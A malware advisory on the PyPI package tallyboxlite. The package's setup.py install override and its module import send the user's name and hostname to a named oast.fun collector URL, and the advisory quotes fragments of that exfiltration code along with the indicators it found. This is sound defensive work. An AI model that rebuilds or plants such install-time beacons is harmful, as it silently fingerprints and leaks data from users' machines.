Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published September 1, 2026
Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation. Judge assessment: This package is a host-enumeration exfiltrator: `setup.py` and `tallyboxlite/__init__.py` both call `_report()` and POST JSON containing `getpass.getuser()` and `socket.gethostname()` to the plaintext OAST collector `https://51wdqvf9yd23cfn5tdxon0jw0doimo9ti.oast.fun/collect`. The attacker model is a dependency-confusion or burner-package install that fingerprints the victim machine and sends the data off-box on install/import, with no legitimate functionality beyond trivial arithmetic helpers. The `oast-exfiltration`, `system-info-exfil`, and `http-exfiltration` findings line up with the actual file contents, and the advisory `MAL-2026-15809` is corroborated by the code rather than merely echoed. The `Security research test package` description does not neutralize the behavior because the package still executes the exfiltration automatically and has no disclosed benign telemetry purpose. ENTRY tallyboxlite/__init__.py (module-import: 22) DESTINATION - 2 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in setup.py: ".oast.fun" - OAST/Interactsh Exfiltration in tallyboxlite/__init__.py: ".oast.fun" - Python File Upload to Remote in setup.py: "urllib.request.Request( _ENDPOINT, data=" - System Information Exfiltration in setup.py: "socket.gethostname()} ).encode() req = urllib.request.Request( _ENDPOINT, data=p..." - HTTP Data Exfiltration in setup.py: "getpass.getuser(), "host": socket.gethostname()} ).encode() req = urllib" - Python File Upload to Remote in tallyboxlite/__init__.py: "urllib.request.Request( _ENDPOINT, data=" - System Information Exfiltration in tallyboxlite/__init__.py: "socket.gethostname()} ).encode() req = urllib.request.Request( _ENDPOINT, data=p..." - HTTP Data Exfiltration in tallyboxlite/__init__.py: "getpass.getuser(), "host": socket.gethostname()} ).encode() req = urllib" (+6 more) PAYLOAD FILES setup.py (+ tallyboxlite/__init__.py)
